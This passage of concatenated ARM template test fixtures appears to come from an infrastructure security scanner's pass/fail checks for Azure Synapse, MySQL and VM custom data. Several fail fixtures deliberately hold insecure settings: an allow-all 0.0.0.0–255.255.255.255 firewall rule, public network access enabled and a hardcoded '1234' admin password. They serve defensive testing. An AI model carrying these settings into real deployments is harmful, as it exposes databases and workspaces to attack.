)", "12:00 PM ( 12:00 )", "01:00 PM ( 13:00 )", "02:00 PM ( 14:00 )", "03:00 PM ( 15:00 )", "04:00 PM ( 16:00 )", "05:00 PM ( 17:00 )", "06:00 PM ( 18:00 )", "07:00 PM ( 19:00 )", "08:00 PM ( 20:00 )", "09:00 PM ( 21:00 )", "10:00 PM ( 22:00 )", "11:00 PM ( 23:00 )" ], "metadata": { "description": "Time of day when the data warehouse will be paused" } } }, "variables": { "synapseName": "[toLower(concat(parameters('companyTla'),parameters('deploymentType')))]", "dlsName": "[toLower(concat('dls',parameters('companyTla'),parameters('deploymentType')))]", "dlsFsName": "[toLower(concat(variables('dlsName'),'fs1'))]", "sqlPoolName": "[toLower(concat(variables('workspaceName'),'p1'))]", "workspaceName": "[toLower(concat(variables('synapseName'),'ws1'))]", "sparkPoolName": "[toLower('synasp1')]", "logicApps": [ "SynapsePauseSchedule", "SynapseResumeSchedule" ] }, "resources": [ { "type": "Microsoft.Resources/deployments", "apiVersion": "2020-06-01", "name": "logicAppPauseDeployment", "properties": { "mode": "Incremental", "templatelink": { "uri": "[uri(parameters('_artifactsLocation'), concat('nestedtemplates/pausetemplate.json', parameters('_artifactsLocationSASToken')))]" }, "parameters": { "logicAppName": { "value": "[variables('logicApps')[0]]" }, "Frequency": { "value": "[parameters('Frequency')]" }, "companyTla": { "value": "[parameters('companyTla')]" }, "deploymentType": { "value": "[parameters('deploymentType')]" }, "TIME_ZONE": { "value": "[parameters('TIME_ZONE')]" }, "PauseTime": { "value": "[parameters('PauseTime')]" }, "location": { "value": "[parameters('location')]" } } } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2020-06-01", "name": "logicAppResumeDeployment", "properties": { "mode": "Incremental", "templatelink": { "uri": "[uri(parameters('_artifactsLocation'), concat('nestedtemplates/resumetemplate.json', parameters('_artifactsLocationSASToken')))]" }, "parameters": { "logicAppName": { "value": "[variables('logicApps')[1]]" }, "Frequency": { "value": "[parameters('Frequency')]" }, "companyTla": { "value": "[parameters('companyTla')]" }, "deploymentType": { "value": "[parameters('deploymentType')]" }, "TIME_ZONE": { "value": "[parameters('TIME_ZONE')]" }, "ResumeTime": { "value": "[parameters('ResumeTime')]" }, "location": { "value": "[parameters('location')]" } } } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-06-01", "name": "[variables('dlsName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "accessTier": "Hot", "supportsHttpsTrafficOnly": true, "isHnsEnabled": true }, "resources": [ { "name": "[concat('default/', variables('dlsFsName'))]", "type": "blobServices/containers", "apiVersion": "2019-06-01", "dependsOn": [ "[variables('dlsName')]" ], "properties": { "publicAccess": "None" } } ] }, { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2019-06-01-preview", "name": "fail", "location": "[parameters('location')]", "identity": { "type": "SystemAssigned" }, "dependsOn": [ "[variables('dlsName')]", "[variables('dlsFsName')]" ], "properties": { "defaultDataLakeStorage": { "accountUrl": "[reference(variables('dlsName')).primaryEndpoints.dfs]", "filesystem": "[variables('dlsFsName')]" }, "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]", "sqlAdministratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "managedVirtualNetwork": "default" }, "resources": [ { "condition": "[equals(parameters('allowAllConnections'),'true')]", "type": "firewallrules", "apiVersion": "2019-06-01-preview", "name": "allowAll", "location": "[parameters('location')]", "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "type": "firewallrules", "apiVersion": "2019-06-01-preview", "name": "AllowAllWindowsAzureIps", "location": "[parameters('location')]", "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "0.0.0.0" } }, { "type": "managedIdentitySqlControlSettings", "apiVersion": "2019-06-01-preview", "name": "default", "location": "[parameters('location')]", "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "grantSqlControlToManagedIdentity": { "desiredState": "Enabled" } } } ] }, { "type": "Microsoft.Synapse/workspaces/sqlPools", "apiVersion": "2019-06-01-preview", "name": "[concat(variables('workspaceName'), '/', variables('sqlPoolName'))]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "createMode": "Default", "collation": "SQL_Latin1_General_CP1_CI_AS" }, "resources": [ { "condition": "[parameters('metadataSync')]", "type": "metadataSync", "apiVersion": "2019-06-01-preview", "name": "config", "location": "[parameters('location')]", "dependsOn": [ "[variables('sqlPoolName')]" ], "properties": { "Enabled": "[parameters('metadataSync')]" } } ] }, { "condition": "[equals(parameters('sparkDeployment'),'true')]", "type": "Microsoft.Synapse/workspaces/bigDataPools", "apiVersion": "2019-06-01-preview", "name": "[concat(variables('workspaceName'), '/', variables('sparkPoolName'))]", "location": "[parameters('location')]", "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "nodeCount": 5, "nodeSizeFamily": "MemoryOptimized", "nodeSize": "[parameters('sparkNodeSize')]", "autoScale": { "enabled": true, "minNodeCount": 3, "maxNodeCount": 40 }, "autoPause": { "enabled": true, "delayInMinutes": 15 }, "sparkVersion": "2.4" } }, { "scope": "[concat('Microsoft.Storage/storageAccounts/', variables('dlsName'))]", "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2020-04-01-preview", "name": "[guid(uniqueString(variables('dlsName')))]", "location": "[parameters('location')]", "dependsOn": [ "[variables('workspaceName')]" ], "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "principalId": "[reference(resourceId('Microsoft.Synapse/workspaces', variables('workspaceName')), '2019-06-01-preview', 'Full').identity.principalId]", "principalType": "ServicePrincipal" } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2020-06-01", "name": "MSIRBACOnResourceGroup0", "dependsOn": [ "logicAppResumeDeployment", "logicAppPauseDeployment" ], "properties": { "mode": "Incremental", "templatelink": { "uri": "[uri(parameters('_artifactsLocation'), concat('nestedtemplates/logicapproleassignments.json', parameters('_artifactsLocationSASToken')))]" }, "parameters": { "logicAppName": { "value": "[variables('logicApps')[0]]" } } } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2020-06-01", "name": "MSIRBACOnResourceGroup1", "dependsOn": [ "logicAppResumeDeployment", "logicAppPauseDeployment" ], "properties": { "mode": "Incremental", "templatelink": { "uri": "[uri(parameters('_artifactsLocation'), concat('nestedtemplates/logicapproleassignments.json', parameters('_artifactsLocationSASToken')))]" }, "parameters": { "logicAppName": { "value": "[variables('logicApps')[1]]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceEnablesManagedVirtualNetworks/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "name": { "type": "string" }, "location": { "type": "string" }, "defaultDataLakeStorageAccountName": { "type": "string" }, "defaultDataLakeStorageFilesystemName": { "type": "string" }, "sqlAdministratorLogin": { "type": "string" }, "sqlAdministratorLoginPassword": { "type": "secureString", "defaultValue": "" }, "setWorkspaceIdentityRbacOnStorageAccount": { "type": "bool" }, "createManagedPrivateEndpoint": { "type": "bool" }, "defaultAdlsGen2AccountResourceId": { "type": "string", "defaultValue": "" }, "azureADOnlyAuthentication": { "type": "bool" }, "allowAllConnections": { "type": "bool", "defaultValue": true }, "managedVirtualNetwork": { "type": "string", "allowedValues": [ "default", "" ] }, "tagValues": { "type": "object", "defaultValue": {} }, "publicNetworkAccess": { "type": "string", "allowedValues": [ "Enabled", "Disabled" ] }, "storageSubscriptionID": { "type": "string", "defaultValue": "[subscription().subscriptionId]" }, "storageResourceGroupName": { "type": "string", "defaultValue": "[resourceGroup().name]" }, "storageLocation": { "type": "string", "defaultValue": "[resourceGroup().location]" }, "storageRoleUniqueId": { "type": "string", "defaultValue": "[newGuid()]" }, "isNewStorageAccount": { "type": "bool", "defaultValue": false }, "isNewFileSystemOnly": { "type": "bool", "defaultValue": false }, "adlaResourceId": { "type": "string", "defaultValue": "" }, "managedResourceGroupName": { "type": "string", "defaultValue": "" }, "storageAccessTier": { "type": "string" }, "storageAccountType": { "type": "string" }, "storageSupportsHttpsTrafficOnly": { "type": "bool" }, "storageKind": { "type": "string" }, "minimumTlsVersion": { "type": "string" }, "storageIsHnsEnabled": { "type": "bool" }, "userObjectId": { "type": "string", "defaultValue": "" }, "setSbdcRbacOnStorageAccount": { "type": "bool", "defaultValue": false }, "setWorkspaceMsiByPassOnStorageAccount": { "type": "bool", "defaultValue": false }, "workspaceStorageAccountProperties": { "type": "object", "defaultValue": {} }, "managedVirtualNetworkSettings": { "type": "object" } }, "variables": { "storageBlobDataContributorRoleID": "ba92f5b4-2d11-453d-a403-e96b0029c9fe", "defaultDataLakeStorageAccountUrl": "[concat('https://', parameters('defaultDataLakeStorageAccountName'), '.dfs.core.windows.net')]" }, "resources": [ { "apiVersion": "2021-06-01-preview", "name": "pass", "location": "[parameters('location')]", "type": "Microsoft.Synapse/workspaces", "identity": { "type": "SystemAssigned" }, "properties": { "defaultDataLakeStorage": { "accountUrl": "[variables('defaultDataLakeStorageAccountUrl')]", "filesystem": "[parameters('defaultDataLakeStorageFilesystemName')]", "resourceId": "[parameters('defaultAdlsGen2AccountResourceId')]", "createManagedPrivateEndpoint": "[parameters('createManagedPrivateEndpoint')]" }, "managedVirtualNetwork": "[parameters('managedVirtualNetwork')]", "managedResourceGroupName": "[parameters('managedResourceGroupName')]", "publicNetworkAccess": "[parameters('publicNetworkAccess')]", "managedVirtualNetworkSettings": "[parameters('managedVirtualNetworkSettings')]", "azureADOnlyAuthentication": "[parameters('azureADOnlyAuthentication')]", "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]", "sqlAdministratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]" }, "resources": [ { "condition": "[parameters('allowAllConnections')]", "apiVersion": "2021-06-01-preview", "dependsOn": [ "[concat('Microsoft.Synapse/workspaces/', parameters('name'))]" ], "location": "[parameters('location')]", "name": "allowAll", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" }, "type": "firewallrules" } ], "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', parameters('defaultDataLakeStorageAccountName'))]", "[concat('Microsoft.Resources/deployments/', parameters('defaultDataLakeStorageFilesystemName'))]" ], "tags": "[parameters('tagValues')]" }, { "condition": "[parameters('setWorkspaceIdentityRbacOnStorageAccount')]", "apiVersion": "2019-05-01", "name": "StorageRoleDeploymentResource", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('storageSubscriptionID')]", "resourceGroup": "[parameters('storageResourceGroupName')]", "dependsOn": [ "[concat('Microsoft.Synapse/workspaces/', parameters('name'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2018-09-01-preview", "name": "[concat(parameters('defaultDataLakeStorageAccountName'), '/Microsoft.Authorization/', guid(concat(resourceGroup().id, '/', variables('storageBlobDataContributorRoleID'), '/', parameters('name'), '/', parameters('storageRoleUniqueId'))))]", "location": "[parameters('storageLocation')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', variables('storageBlobDataContributorRoleID'))]", "principalId": "[reference(concat('Microsoft.Synapse/workspaces/', parameters('name')), '2021-06-01', 'Full').identity.principalId]", "principalType": "ServicePrincipal" } }, { "condition": "[parameters('setSbdcRbacOnStorageAccount')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2018-09-01-preview", "name": "[concat(parameters('defaultDataLakeStorageAccountName'), '/Microsoft.Authorization/', guid(concat(resourceGroup().id, '/', variables('storageBlobDataContributorRoleID'), '/', parameters('userObjectId'), '/', parameters('storageRoleUniqueId'))))]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', variables('storageBlobDataContributorRoleID'))]", "principalId": "[parameters('userObjectId')]", "principalType": "User" } } ] } } }, { "condition": "[parameters('setWorkspaceMsiByPassOnStorageAccount')]", "apiVersion": "2019-05-01", "name": "UpdateStorageAccountNetworkingAcls", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('storageSubscriptionID')]", "resourceGroup": "[parameters('storageResourceGroupName')]", "dependsOn": [ "[concat('Microsoft.Synapse/workspaces/', parameters('name'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-01-01", "location": "[parameters('storageLocation')]", "name": "[parameters('defaultDataLakeStorageAccountName')]", "properties": "[parameters('workspaceStorageAccountProperties')]" } ] } } }, { "condition": "[parameters('isNewStorageAccount')]", "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('defaultDataLakeStorageAccountName')]", "apiVersion": "2021-01-01", "location": "[parameters('storageLocation')]", "properties": { "accessTier": "[parameters('storageAccessTier')]", "supportsHttpsTrafficOnly": "[parameters('storageSupportsHttpsTrafficOnly')]", "isHnsEnabled": "[parameters('storageIsHnsEnabled')]", "minimumTlsVersion": "[parameters('minimumTlsVersion')]" }, "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "[parameters('storageKind')]", "tags": {}, "resources": [ { "condition": "[parameters('isNewStorageAccount')]", "name": "[concat('default/', parameters('defaultDataLakeStorageFilesystemName'))]", "type": "blobServices/containers", "apiVersion": "2021-01-01", "properties": { "publicAccess": "None" }, "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', parameters('defaultDataLakeStorageAccountName'))]" ] } ] }, { "condition": "[parameters('isNewFileSystemOnly')]", "apiVersion": "2019-05-01", "name": "[parameters('defaultDataLakeStorageFilesystemName')]", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('storageSubscriptionID')]", "resourceGroup": "[parameters('storageResourceGroupName')]", "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Storage/storageAccounts/blobServices/containers", "name": "[concat(parameters('defaultDataLakeStorageAccountName'), '/default/', parameters('defaultDataLakeStorageFilesystemName'))]", "apiVersion": "2021-01-01", "properties": { "publicAccess": "None" } } ] } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string", "defaultValue": true }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": { "type": "AzureKeyVault", "primaryUserAssignedIdentityId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike", "primaryKeyURI": "https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2" } }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "type": "Microsoft.DBforMySQL/servers", "apiVersion": "2017-12-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "{customized property}": "string", "sku": { "capacity": "int", "family": "string", "name": "string", "size": "string", "tier": "string" }, "identity": { "type": "SystemAssigned" }, "properties": { "infrastructureEncryption": "string", "minimalTlsVersion": "string", "publicNetworkAccess": "enabled", "sslEnforcement": "string", "storageProfile": { "backupRetentionDays": "int", "geoRedundantBackup": "string", "storageAutogrow": "string", "storageMB": "int" }, "version": "string", "createMode": "string" } }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers", "apiVersion": "2024-10-01-preview", "name": "fail2", "identity": { "type": "UserAssigned", "userAssignedIdentities": { "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myIdentity": {} } }, "location": "eastus", "properties": { "administratorLogin": "adminuser", "administratorLoginPassword": "1234", "availabilityZone": "1", "backup": { "backupIntervalHours": 24, "backupRetentionDays": 7, "geoRedundantBackup": "Disabled" }, "createMode": "Default", "databasePort": 3306, "dataEncryption": { "type": "SystemManaged" }, "highAvailability": { "mode": "ZoneRedundant", "standbyAvailabilityZone": "2" }, "maintenancePolicy": { "patchStrategy": "Automatic" }, "maintenanceWindow": { "customWindow": "Sun:02:00-Sun:04:00", "dayOfWeek": 0, "startHour": 2, "startMinute": 0 }, "network": { "delegatedSubnetResourceId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet", "privateDnsZoneResourceId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/privateDnsZones/myPrivateDnsZone", "publicNetworkAccess": "Enabled" }, "storage": { "autoGrow": "Enabled", "iops": 600, "storageSizeGB": 128, "storageRedundancy": "Zone" }, "version": "8.0" }, "sku": { "name": "Standard_D2ds_v4", "tier": "GeneralPurpose" }, "tags": { "Environment": "Production", "Project": "MySQLMigration" } } ] } ================================================ FILE: tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string", "defaultValue": true }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": { "type": "AzureKeyVault", "primaryUserAssignedIdentityId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike", "primaryKeyURI": "https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2" } }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "type": "Microsoft.DBforMySQL/servers", "apiVersion": "2017-12-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "{customized property}": "string", "sku": { "capacity": "int", "family": "string", "name": "string", "size": "string", "tier": "string" }, "identity": { "type": "SystemAssigned" }, "properties": { "infrastructureEncryption": "string", "minimalTlsVersion": "string", "publicNetworkAccess": "disabled", "sslEnforcement": "string", "storageProfile": { "backupRetentionDays": "int", "geoRedundantBackup": "string", "storageAutogrow": "string", "storageMB": "int" }, "version": "string", "createMode": "string" } }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers", "apiVersion": "2024-10-01-preview", "name": "pass2", "identity": { "type": "UserAssigned", "userAssignedIdentities": { "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myIdentity": {} } }, "location": "eastus", "properties": { "administratorLogin": "adminuser", "administratorLoginPassword": "1234", "availabilityZone": "1", "backup": { "backupIntervalHours": 24, "backupRetentionDays": 7, "geoRedundantBackup": "Disabled" }, "createMode": "Default", "databasePort": 3306, "dataEncryption": { "type": "SystemManaged" }, "highAvailability": { "mode": "ZoneRedundant", "standbyAvailabilityZone": "2" }, "maintenancePolicy": { "patchStrategy": "Automatic" }, "maintenanceWindow": { "customWindow": "Sun:02:00-Sun:04:00", "dayOfWeek": 0, "startHour": 2, "startMinute": 0 }, "network": { "delegatedSubnetResourceId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet", "privateDnsZoneResourceId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/privateDnsZones/myPrivateDnsZone", "publicNetworkAccess": "Disabled" }, "storage": { "autoGrow": "Enabled", "iops": 600, "storageSizeGB": 128, "storageRedundancy": "Zone" }, "version": "8.0" }, "sku": { "name": "Standard_D2ds_v4", "tier": "GeneralPurpose" }, "tags": { "Environment": "Production", "Project": "MySQLMigration" } } ] } ================================================ FILE: tests/arm/checks/resource/example_VMCredsInCustomData/fail-secret.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.22.6.54827", "templateHash": "1864719808904770163" } }, "parameters": { "dnsLabelPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name for the Public IP used to access the Virtual Machine." } }, "adminUsername": { "type": "string", "metadata": { "description": "User name for the Virtual Machine." } }, "customData": { "type": "string", "defaultValue": "echo customData", "metadata": { "description": "String passed down to the Virtual Machine." } }, "vmSize": { "type": "string", "defaultValue": "Standard_D2_v3", "metadata": { "description": "VM size" } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "18.04-LTS", "allowedValues": [ 